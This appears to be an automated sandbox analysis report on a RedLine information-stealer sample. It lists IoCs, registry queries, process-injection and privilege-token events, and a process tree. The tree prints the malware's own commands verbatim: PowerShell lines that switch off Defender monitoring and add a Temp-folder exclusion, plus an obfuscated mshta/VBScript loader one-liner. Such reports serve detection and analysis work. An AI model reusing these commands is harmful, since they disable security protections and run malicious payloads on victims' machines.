redline | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5914768.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5914768.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C333.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nYv3mH7pN4MkiZRUT__PDdR5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nYv3mH7pN4MkiZRUT__PDdR5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CGRE4xs80cLunG1BuR71Qsbd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CGRE4xs80cLunG1BuR71Qsbd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	zzeuyvoQ9cP8cdPOCb3DNrYe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tuOtrNERWdeo9TWUNiHeauug.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3181165.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3181165.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C333.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xhM9NSULQC0Zm66oIm94kSGe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xhM9NSULQC0Zm66oIm94kSGe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	zzeuyvoQ9cP8cdPOCb3DNrYe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tuOtrNERWdeo9TWUNiHeauug.exe

Loads dropped DLL 10 IoCs

pid	Process
2552	setup_install.exe
2552	setup_install.exe
2552	setup_install.exe
2552	setup_install.exe
2552	setup_install.exe
4076	Fri0471ced4d802994.tmp
1128	Fri0471ced4d802994.tmp
6352	rundll32.exe
5864	cmd.exe
5864	cmd.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 9 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5914768.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	C333.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CGRE4xs80cLunG1BuR71Qsbd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	zzeuyvoQ9cP8cdPOCb3DNrYe.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	nYv3mH7pN4MkiZRUT__PDdR5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xhM9NSULQC0Zm66oIm94kSGe.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tuOtrNERWdeo9TWUNiHeauug.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3181165.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
62	ipinfo.io
150	ipinfo.io
153	ipinfo.io
309	ipinfo.io
343	ipinfo.io
62	ip-api.com
147	ipinfo.io
287	ipinfo.io
318	ipinfo.io
359	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
3352	5914768.exe
6000	C333.exe
5552	zzeuyvoQ9cP8cdPOCb3DNrYe.exe
2308	CGRE4xs80cLunG1BuR71Qsbd.exe
2808	xhM9NSULQC0Zm66oIm94kSGe.exe
5592	tuOtrNERWdeo9TWUNiHeauug.exe
5776	nYv3mH7pN4MkiZRUT__PDdR5.exe
5236	3181165.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1596 set thread context of 3404	1596	Fri04e6f3b78ae5759.exe	129
PID 1460 set thread context of 5396	1460	Fri04f70c88181ec8.exe	140
PID 2960 set thread context of 5468	2960	Fri0431de7a47.exe	139
PID 5772 set thread context of 3196	5772	9Pwru6h1QFUn2bnBU2yteVil.exe	28
PID 5832 set thread context of 3196	5832	vumjanCUDqXNzMij4HO1jmf2.exe	28
PID 3060 set thread context of 3196	3060	9Pwru6h1QFUn2bnBU2yteVil.exe	28

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	8yVbU4PtuzA_S40jKpQYtoAj.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	8yVbU4PtuzA_S40jKpQYtoAj.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	8yVbU4PtuzA_S40jKpQYtoAj.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	8yVbU4PtuzA_S40jKpQYtoAj.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	8OJBLplc_C14swOHJ78qsUai.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	8OJBLplc_C14swOHJ78qsUai.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 37 IoCs

pid	pid_target	Process	procid_target
2848	2552	WerFault.exe	81
6764	5232	WerFault.exe	189
7040	3520	WerFault.exe	138
3964	6476	WerFault.exe	199
3664	1180	WerFault.exe	104
5280	6336	WerFault.exe	196
1816	6256	WerFault.exe	193
4824	1068	WerFault.exe	112
1912	5476	WerFault.exe	214
6196	2640	WerFault.exe	158
7816	5188	WerFault.exe	333
8012	1068	WerFault.exe	320
7696	6332	WerFault.exe	328
7952	6608	WerFault.exe	318
4468	6124	WerFault.exe	224
7220	3928	WerFault.exe	415
6108	6204	WerFault.exe	422
5452	5996	WerFault.exe	416
8080	1956	WerFault.exe	433
7284	4600	WerFault.exe	442
1916	6000	WerFault.exe	444
3272	1316	WerFault.exe	450
2180	5284	WerFault.exe	512
3568	4844	WerFault.exe	469
7972	6532	WerFault.exe	480
7728	4956	WerFault.exe	538
8548	5808	WerFault.exe	498
8624	4956	WerFault.exe	538
1444	6180	WerFault.exe	555
7860	8480	WerFault.exe	587
2944	6232	WerFault.exe	608
7220	9060	WerFault.exe	583
1444	7300	WerFault.exe	640
5708	7300	WerFault.exe	640
1320	5940	WerFault.exe	612
5948	2956	WerFault.exe	611
6592	8788	WerFault.exe	601

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6052	schtasks.exe
3228	schtasks.exe
5960	schtasks.exe
6040	schtasks.exe
2036	schtasks.exe
2168	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
3192	ipconfig.exe

Kills process with taskkill 9 IoCs

evasion

pid	Process
5776	taskkill.exe
5968	taskkill.exe
3068	taskkill.exe
7672	taskkill.exe
6744	taskkill.exe
6488	taskkill.exe
6320	taskkill.exe
5600	taskkill.exe
2092	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	Cifyzhetaerae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	Cifyzhetaerae.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
8200	PING.EXE
2180	PING.EXE
7768	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4720	powershell.exe
4720	powershell.exe
1520	powershell.exe
1520	powershell.exe
4720	powershell.exe
4720	powershell.exe
1520	powershell.exe
1520	powershell.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3184	Fri043a70f76ef98.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe
3376	Fri04b1200e850ea1bc.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
5772	9Pwru6h1QFUn2bnBU2yteVil.exe
5832	vumjanCUDqXNzMij4HO1jmf2.exe
3060	9Pwru6h1QFUn2bnBU2yteVil.exe
5772	9Pwru6h1QFUn2bnBU2yteVil.exe
5772	9Pwru6h1QFUn2bnBU2yteVil.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeCreateTokenPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeAssignPrimaryTokenPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeLockMemoryPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeIncreaseQuotaPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeMachineAccountPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeTcbPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeSecurityPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeTakeOwnershipPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeLoadDriverPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeSystemProfilePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeSystemtimePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeProfSingleProcessPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeIncBasePriorityPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeCreatePagefilePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeCreatePermanentPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeBackupPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeRestorePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeShutdownPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeDebugPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeAuditPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeSystemEnvironmentPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeChangeNotifyPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeRemoteShutdownPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeUndockPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeSyncAgentPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeEnableDelegationPrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeManageVolumePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeImpersonatePrivilege	2824	Fri0480a54c0d2a7.exe
Token: SeCreateGlobalPrivilege	2824	Fri0480a54c0d2a7.exe
Token: 31	2824	Fri0480a54c0d2a7.exe
Token: 32	2824	Fri0480a54c0d2a7.exe
Token: 33	2824	Fri0480a54c0d2a7.exe
Token: 34	2824	Fri0480a54c0d2a7.exe
Token: 35	2824	Fri0480a54c0d2a7.exe
Token: SeDebugPrivilege	1996	waiUSYGzHuNZz2GqEaryWFK2.exe
Token: SeRestorePrivilege	2848	WerFault.exe
Token: SeBackupPrivilege	2848	WerFault.exe
Token: SeDebugPrivilege	2868	Fri04a13875aa1c59b58.exe
Token: SeDebugPrivilege	5776	nYv3mH7pN4MkiZRUT__PDdR5.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	5052	DownFlSetup110.exe
Token: SeDebugPrivilege	2116	4.exe
Token: SeCreateTokenPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeAssignPrimaryTokenPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeLockMemoryPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeIncreaseQuotaPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeMachineAccountPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeTcbPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeSecurityPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeTakeOwnershipPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeLoadDriverPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeSystemProfilePrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeSystemtimePrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeProfSingleProcessPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeIncBasePriorityPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeCreatePagefilePrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeCreatePermanentPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeBackupPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeRestorePrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeShutdownPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeDebugPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe
Token: SeAuditPrivilege	6660	ylktSiQVSZE28176E1chHlI7.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 2016	3524	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	80
PID 3524 wrote to memory of 2016	3524	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	80
PID 3524 wrote to memory of 2016	3524	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	80
PID 2016 wrote to memory of 2552	2016	setup_installer.exe	81
PID 2016 wrote to memory of 2552	2016	setup_installer.exe	81
PID 2016 wrote to memory of 2552	2016	setup_installer.exe	81
PID 2552 wrote to memory of 1088	2552	setup_install.exe	86
PID 2552 wrote to memory of 1088	2552	setup_install.exe	86
PID 2552 wrote to memory of 1088	2552	setup_install.exe	86
PID 2552 wrote to memory of 1288	2552	setup_install.exe	87
PID 2552 wrote to memory of 1288	2552	setup_install.exe	87
PID 2552 wrote to memory of 1288	2552	setup_install.exe	87
PID 1288 wrote to memory of 4720	1288	cmd.exe	89
PID 1288 wrote to memory of 4720	1288	cmd.exe	89
PID 1288 wrote to memory of 4720	1288	cmd.exe	89
PID 1088 wrote to memory of 1520	1088	cmd.exe	88
PID 1088 wrote to memory of 1520	1088	cmd.exe	88
PID 1088 wrote to memory of 1520	1088	cmd.exe	88
PID 2552 wrote to memory of 1984	2552	setup_install.exe	90
PID 2552 wrote to memory of 1984	2552	setup_install.exe	90
PID 2552 wrote to memory of 1984	2552	setup_install.exe	90
PID 2552 wrote to memory of 4732	2552	setup_install.exe	91
PID 2552 wrote to memory of 4732	2552	setup_install.exe	91
PID 2552 wrote to memory of 4732	2552	setup_install.exe	91
PID 2552 wrote to memory of 1912	2552	setup_install.exe	101
PID 2552 wrote to memory of 1912	2552	setup_install.exe	101
PID 2552 wrote to memory of 1912	2552	setup_install.exe	101
PID 2552 wrote to memory of 2036	2552	setup_install.exe	92
PID 2552 wrote to memory of 2036	2552	setup_install.exe	92
PID 2552 wrote to memory of 2036	2552	setup_install.exe	92
PID 2552 wrote to memory of 2172	2552	setup_install.exe	100
PID 2552 wrote to memory of 2172	2552	setup_install.exe	100
PID 2552 wrote to memory of 2172	2552	setup_install.exe	100
PID 2552 wrote to memory of 2184	2552	setup_install.exe	99
PID 2552 wrote to memory of 2184	2552	setup_install.exe	99
PID 2552 wrote to memory of 2184	2552	setup_install.exe	99
PID 4732 wrote to memory of 4616	4732	cmd.exe	93
PID 4732 wrote to memory of 4616	4732	cmd.exe	93
PID 4732 wrote to memory of 4616	4732	cmd.exe	93
PID 2552 wrote to memory of 2516	2552	setup_install.exe	98
PID 2552 wrote to memory of 2516	2552	setup_install.exe	98
PID 2552 wrote to memory of 2516	2552	setup_install.exe	98
PID 2552 wrote to memory of 2644	2552	setup_install.exe	97
PID 2552 wrote to memory of 2644	2552	setup_install.exe	97
PID 2552 wrote to memory of 2644	2552	setup_install.exe	97
PID 2552 wrote to memory of 5020	2552	setup_install.exe	96
PID 2552 wrote to memory of 5020	2552	setup_install.exe	96
PID 2552 wrote to memory of 5020	2552	setup_install.exe	96
PID 1984 wrote to memory of 3024	1984	cmd.exe	95
PID 1984 wrote to memory of 3024	1984	cmd.exe	95
PID 1984 wrote to memory of 3024	1984	cmd.exe	95
PID 2552 wrote to memory of 3100	2552	setup_install.exe	94
PID 2552 wrote to memory of 3100	2552	setup_install.exe	94
PID 2552 wrote to memory of 3100	2552	setup_install.exe	94
PID 1912 wrote to memory of 3520	1912	cmd.exe	138
PID 1912 wrote to memory of 3520	1912	cmd.exe	138
PID 1912 wrote to memory of 3520	1912	cmd.exe	138
PID 2552 wrote to memory of 3256	2552	setup_install.exe	102
PID 2552 wrote to memory of 3256	2552	setup_install.exe	102
PID 2552 wrote to memory of 3256	2552	setup_install.exe	102
PID 2552 wrote to memory of 4004	2552	setup_install.exe	122
PID 2552 wrote to memory of 4004	2552	setup_install.exe	122
PID 2552 wrote to memory of 4004	2552	setup_install.exe	122
PID 2516 wrote to memory of 720	2516	cmd.exe	121

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
6892	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3196
- C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
  "C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1088
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1288
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4720
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri048a4e8610c6c199.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1984
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri048a4e8610c6c199.exe
        
        Fri048a4e8610c6c199.exe
        6⤵
        Executes dropped EXE
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri048a4e8610c6c199.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri048a4e8610c6c199.exe" -u
        7⤵
        
        PID:2084
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri04113f869350dcf8.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4732
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04113f869350dcf8.exe
        
        Fri04113f869350dcf8.exe
        6⤵
        Executes dropped EXE
        
        PID:4616
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04113f869350dcf8.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04113f869350dcf8.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        7⤵
        
        PID:3008
        
        C:\Windows\SysWOW64\cmd.exe
        
